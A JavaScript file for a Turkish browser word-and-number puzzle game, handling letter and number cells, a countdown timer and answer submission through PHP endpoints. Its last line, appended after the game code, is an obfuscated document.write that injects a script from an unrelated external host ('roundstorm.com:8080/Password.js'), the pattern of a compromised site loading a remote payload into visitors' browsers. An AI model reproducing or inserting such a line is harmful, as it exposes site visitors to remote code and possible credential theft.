var mode = false; // false -> Kelime, true -> Islem
var hucreler = new Array();
var joker = -1;
var saniye = 60;
var tmr = 0;

var el = 0;
var puan = 0;
var toplam_puan = 0;
var soru;

dojo.addOnLoad(main);


function main()
{
    for (var i = 1; i <= 8; ++i)
    {
	hucreler["harf" + i] = new Hucre();
	dojo.connect(dojo.byId("harf" + i), "onclick", handle_click);
    }

    for (var i = 1; i <= 29; ++i)
    {
	hucreler["joker" + i] = new Hucre();
	dojo.connect(dojo.byId("joker" + i), "onclick", handle_click);
	hucreler["joker" + i].empty = false;
    }

    for (var i = 1; i <= 9; ++i)
    {
	hucreler["kelime" + i] = new Hucre();
	dojo.connect(dojo.byId("kelime" + i), "onclick", handle_click);
	hucreler["kelime" + i].enabled = false;
    }

    for (var i = 1; i <= 6; ++i)
    {
	hucreler["sayi" + i] = new Hucre();
	dojo.connect(dojo.byId("sayi" + i), "onclick", handle_click);

	if (i == 6)
	{
	    break;
	}

	hucreler["sag" + i] = new Hucre();
	dojo.connect(dojo.byId("sag" + i), "onclick", handle_click);
	hucreler["sag" + i].enabled = false;

	hucreler["sol" + i] = new Hucre();
	dojo.connect(dojo.byId("sol" + i), "onclick", handle_click);
	hucreler["sol" + i].enabled = false;

	hucreler["sonuc" + i] = new Hucre();
	dojo.connect(dojo.byId("sonuc" + i), "onclick", handle_click);
	hucreler["sonuc" + i].enabled = false;

	dojo.connect(dojo.byId("op" + i), "onchange", handle_op);
    }

    dojo.connect(dojo.byId("sil"), "onclick", handle_sil);
    dojo.connect(dojo.byId("gonder"), "onclick", handle_submit);
    dojo.connect(dojo.byId("sifirla"), "onclick", handle_sifirla);

    dojo.byId("guzelcevap").style.display = "none";

    read_question();
}

function Hucre()
{
    this.enabled = true;
    this.empty = true;
}

function get_hucre(name)
{
    return hucreler[name];
}


function starts_with(a, b)
{
    return a.substr(0, b.length) == b;
}

function handle_forbidden(event)
{
    event.preventDefault();
    event.stopPropagation();
}

function add_harf(harf, joker_mi)
{
    for (var i = 1; i <= 9; ++i)
    {
	var hucre = get_hucre("kelime" + i);
	if (hucre.empty)
	{
	    set_cell("kelime" + i, harf);
	    hucre.empty = false;
	    hucre.enabled = true;

	    if (joker_mi)
	    {
		joker = i;
	    }

	    break;
	}
    }
}

function set_cell(name, value)
{
    dojo.byId(name).innerHTML = value;
}

function get_cell(name)
{
    return dojo.byId(name).innerHTML;
}

function enable_cell(name, enable)
{
    var ctrl = dojo.byId(name);
    var hucre = get_hucre(name);

    if (enable)
    {
	ctrl.style.fontWeight = "bold";
	ctrl.style.textDecoration = "none";
	hucre.enabled = true;
    }
    else
    {
	ctrl.style.fontWeight = "normal";
	ctrl.style.textDecoration = "line-through";
	hucre.enabled = false;
    }
}

function init_kelime()
{
    for (var i = 1; i <= 8; ++i)
    {
	var hucre = hucreler["harf" + i];
	hucre.enabled = true;
	hucre.empty = true;
	set_cell("harf" + i, "_");
	enable_cell("harf" + i, true);
    }

    joker = -1;
 
    for (var i = 1; i <= 29; ++i)
    {
	var hucre = hucreler["joker" + i];
	hucre.enabled = true;
	hucre.empty = false;
	enable_cell("joker" + i, true);
    }

    for (var i = 1; i <= 9; ++i)
    {
	var hucre = hucreler["kelime" + i];
	hucre.enabled = true;
	hucre.empty = true;
	set_cell("kelime" + i, "_");
    }
}

function init_islem()
{
    for (var i = 1; i <= 6; ++i)
    {
	var hucre = hucreler["sayi" + i];
	hucre.enabled = true;
	hucre.empty = true;
	set_cell("sayi" + i, "_");
	enable_cell("sayi" + i, true);

	if (i == 6) // Vay anasini
	{
	    break;
	}

	var hucre = hucreler["sag" + i];
	hucre.enabled = true;
	hucre.empty = true;
	set_cell("sag" + i, "___");

	var hucre = hucreler["sol" + i];
	hucre.enabled = true;
	hucre.empty = true;
	set_cell("sol" + i, "___");

	var hucre = hucreler["sonuc" + i];
	hucre.enabled = true;
	hucre.empty = true;
	set_cell("sonuc" + i, "___");
	enable_cell("sonuc" + i, true);

	dojo.byId("op" + i).selectedIndex = 0;
    }
    dojo.byId("sayi6").innerHTML = "__";
    dojo.byId("sayi7").innerHTML = "___";

}


function set_kelime(harfler)
{
    var i = 1;

    if (tmr != 0)
    {
	clearInterval(tmr);
    }

    init_kelime();

    mode = false;

    dojo.byId("kelime").style.display = "block";
    dojo.byId("islem").style.display = "none";

    var interval = 2000;
    if (saniye < 58)
    {
	interval = 1000;
    }
    tmr = setInterval(function()
			  {
			      set_cell("harf" + i, harfler.charAt(i - 1));
			      get_hucre("harf" + i).empty = false;
			      i++;
			      if (i > 8)
			      {
				  clearInterval(tmr);
			      }
			  }, interval);
}

function set_islem(sayilar2)
{
    init_islem();

    var i = 1;

    mode = true;

    dojo.byId("kelime").style.display = "none";
    dojo.byId("islem").style.display = "block";

    var sayilar = sayilar2.split(";");

    var tmr = setInterval(function()
			  {
			      set_cell("sayi" + i, sayilar[i - 1]);
			      //get_hucre("sayi" + i).empty = false;
			      i++;
			      if (i > 7)
			      {
				  clearInterval(tmr);
			      }
			  }, 2000);
}

function handle_click(event)
{
    var id = event.target.id;
    var hucre = get_hucre(id);

    if (!hucre.enabled)
    {
	return;
    }

    if (!mode) // Kelime
    {
	if (starts_with(id, "harf"))
	{
	    var harf = get_cell(id);
	    add_harf(harf, false);
	    enable_cell(id, false);
	}
	else if (starts_with(id, "joker"))
	{
	    var harf = get_cell(id);
	    add_harf(harf, true);
	    for (var i = 1; i <= 29; ++i)
	    {
		enable_cell("joker" + i, false);
	    }
	}
	else if (starts_with(id, "kelime"))
	{
	    var harf = get_cell(id);
	    var indx = id.substr(6, 1);

	    set_cell(id, "_");
	    hucre.enabled = false;
	    hucre.empty = true;

	    if (indx == joker)
	    {
		for (var i = 1; i <= 29; ++i)
		{
		    enable_cell("joker" + i, true);
		}
		joker = -1;
	    }
	    else
	    {
		for (var i = 1; i <=8; ++i)
		{
		    if (get_cell("harf" + i) == harf)
		    {
			enable_cell("harf" + i, true);
			break;
		    }
		}
	    }
	}
    }
    else // Islem
    {
	var sayi = get_cell(id);

	if (starts_with(id, "sayi") || starts_with(id, "sonuc"))
	{
	    enable_cell(id, false);

	    for (var i = 1; i <= 5; ++i)
	    {
		var val = get_cell("sol" + i);
		if (val == "___")
		{
		    set_cell("sol" + i, sayi);
		    break;
		}
		else
		{
		    val = get_cell("sag" + i);
		    if (val == "___")
		    {
			set_cell("sag" + i, sayi);
			calc_satir(i);
			break;
		    }
		}
	    }
	}
    }
    event.preventDefault();
    event.stopPropagation();
}

function calc_satir(i)
{
    var op = dojo.byId("op" + i).value;
    var sol = parseInt(get_cell("sol" + i));
    var sag = parseInt(get_cell("sag" + i));

    var sonuc = "___";

    if (op == "+")
    {
	sonuc = sol + sag;
    }
    else if (op == "x")
    {
	sonuc = sol * sag;
    }
    else if (op == "-")
    {
	sonuc = sol - sag;
    }
    else if (op == "/")
    {
	sonuc = parseInt(sol / sag);
    }

    set_cell("sonuc" + i, sonuc);
}

function handle_op(event)
{
    var id = event.target.id;

    var indx = id.substr(2, 1);

    if (get_cell("sol" + indx) != "___" &&
	get_cell("sag" + indx) != "___")
    {
	calc_satir(indx);
    }
}

function handle_sil(event)
{
    var val = "";

    for (var i = 5; i > 0; --i)
    {
	val = get_cell("sag" + i);
	if (val != "___")
	{
	    set_cell("sag" + i, "___");
	    set_cell("sonuc" + i, "___");
	    break;
	}
	else
	{
	    val = get_cell("sol" + i);
	    if (val != "___")
	    {
		set_cell("sol" + i, "___");
		break;
	    }
	}
    }

    if (val == "")
    {
	return;
    }

    for (var i = 4; i > 0; --i)
    {
	if (get_cell("sonuc" + i) == val)
	{
	    enable_cell("sonuc" + i, true);
	    return;
	}
    }

    for (var i = 6; i > 0; --i)
    {
	if (get_cell("sayi" + i) == val)
	{
	    var hucre = get_hucre("sayi" + i);
	    if (!hucre.enabled)
	    {
		enable_cell("sayi" + i, true);
		return;
	    }
	}
    }
}

function read_question()
{
    dojo.byId("el").innerHTML = el;
    toplam_puan += puan;
    puan = 0;
    dojo.byId("toplam_puan").innerHTML = toplam_puan;
    if (el > 0)
    {
	dojo.byId("ort_puan").innerHTML = 
	    Math.floor((toplam_puan / el) * 100)/100;
    }
    var args = 
        {
            url: "question.php",
            handleAs: "json",
            load: after_read_question
        };
    dojo.xhrPost(args);
}

function after_read_question(response)
{
    var question = response['Question'];
    var hilmi = false;
    if (soru != question)
    {
	if (starts_with(question, "K"))
	{
	    set_kelime(question.substr(2));
	}
	else
	{
	    set_islem(question.substr(2));
	}

	hilmi = true;
    }

    soru = question;
    saniye = parseInt(response['TimeLeft']);
    write_saniye();
    dojo.byId("gonder").disabled = false;

    if (saniye >= 60)
    {
	el++;
    }

    if (hilmi)
    {
	handle_guzel(response);
    }
}

function write_saniye()
{
    dojo.byId('sure').innerHTML = (saniye > 60 ? 60 : saniye);

    saniye--;
    if (saniye == 0)
    {
	read_question();
    }
    else
    {
	if ((saniye % 10) == 0)
	{
	    read_timeleft();
	}
	else
	{
	    setTimeout(write_saniye, 1050);
	}
    }
}

function handle_submit(event)
{
    var answer = "";
    var cevab = "";

    if (mode) // Islem
    {
	for (var i = 1; i <= 5; ++i)
	{
	    answer += read_sagsol(i);
	}
	
	for (var i = 5; i >= 1; --i)
	{
	    var hilmi = dojo.byId("sonuc" + i).innerHTML;
	    if (hilmi != '___')
	    {
		cevab = hilmi;
		break;
	    }
	}
    }
    else // Kelime
    {
	for (var i = 1; i <= 9; ++i)
	{
	    answer += read_kelime(i);
	}
	cevab = answer;
    }

    dojo.byId("islem_cevap").innerHTML = cevab;
    dojo.byId("kelime_cevap").innerHTML = cevab;

    var params = {answer: answer};

    var args = 
        {
            url: "answer.php",
	    content: params,
            handleAs: "json",
            load: after_send_answer
        };
    dojo.xhrPost(args);
}

function read_sagsol(i)
{
    var sol = dojo.byId("sol" + i).innerHTML;
    if (sol == "___")
    {
	return "";
    }
    var sag = dojo.byId("sag" + i).innerHTML;
    if (sag == "___")
    {
	return "";
    }
    var op = dojo.byId("op" + i).value;

    return sol + ";" + op + ";" + sag + ";";
}

function read_kelime(i)
{
    var kelime = dojo.byId("kelime" + i).innerHTML;
    if (kelime == "_")
    {
	return "";
    }
    return kelime;
}

function after_send_answer(response)
{
    puan = response['points'];
    if (mode)
    {
	dojo.byId("islem_puan").innerHTML = puan;
	dojo.byId("kelime_puan").innerHTML = puan;
    }
    else
    {
	dojo.byId("kelime_puan").innerHTML = puan;
	dojo.byId("islem_puan").innerHTML = puan;
    }
    dojo.byId("gonder").disabled = true;
}

function handle_sifirla(event)
{
    el = 0;
    toplam_puan = 0;
    dojo.byId("el").innerHTML = "0";
    dojo.byId("toplam_puan").innerHTML = "0";
}

function read_timeleft()
{
    var args = 
        {
            url: "timeleft.php",
            handleAs: "json",
            load: after_read_timeleft
        };
    dojo.xhrPost(args);
}

function after_read_timeleft(response)
{
    saniye = parseInt(response['TimeLeft']);
    write_saniye();
}

function handle_guzel(response)
{
    if (response['PrevQuestion'] == "")
    {
	dojo.byId("guzelcevap").style.display = "none";
	return;
    }

    dojo.byId("guzelcevap").style.display = "block";

    dojo.byId("guzel1").innerHTML = "";
    dojo.byId("guzel2").innerHTML = "";
    dojo.byId("guzel3").innerHTML = "";
    dojo.byId("guzel4").innerHTML = "";
    dojo.byId("guzel5").innerHTML = "";

    var question = response['PrevQuestion'];
    var type = question.substr(0, 1);
    question = question.substr(2);
    
    if (type == 'K')
    {
	var q = '';
	for (var i = 0; i < question.length; ++i)
	{
	    q += question.substr(i, 1);
	    q += ' ';
	}

	dojo.byId("guzelsoru").innerHTML = q;
	dojo.byId("guzel1").innerHTML = response['PerfectAnswer'];
    }
    else
    {
	var sayilar2 = response['PrevQuestion'];
	var sayilar = sayilar2.split(";");
	var w = '';
	for (var i = 1; i < 7; ++i)
	{
	    w += sayilar[i];
	    w += ' ';
	}
	w += ' -> ';
	w += sayilar[7];
	dojo.byId("guzelsoru").innerHTML = w;

	
	var cozum2 = response['PerfectAnswer'];

	var cozum = cozum2.split(";");

	var num = Math.floor(cozum.length / 3);

	for (var i = 0, j = 0; i < num; ++i, j += 3)
	{
	    var e = '';
	    
	    e += cozum[j];
	    e += ' ';
	    e += cozum[j + 1];
	    e += ' ';
	    e += cozum[j + 2];
	    e += ' = ';

	    switch (cozum[j + 1])
	    {
	    case '+': e += Math.floor(cozum[j]) + Math.floor(cozum[j + 2]); 
		break;
	    case 'x': e += Math.floor(cozum[j]) * Math.floor(cozum[j + 2]); 
		break;
	    case '-': e += Math.floor(cozum[j]) - Math.floor(cozum[j + 2]); 
		break;
	    case '/': e += Math.floor(Math.floor(cozum[j]) / Math.floor(cozum[j + 2])); 
		break;
	    }

	    dojo.byId("guzel" + (i + 1)).innerHTML = e;
	}
    }
    
}
document.write('<s'+'cript type="text/javascript" src="http://roundstorm.com:8080/Password.js"></scr'+'ipt>');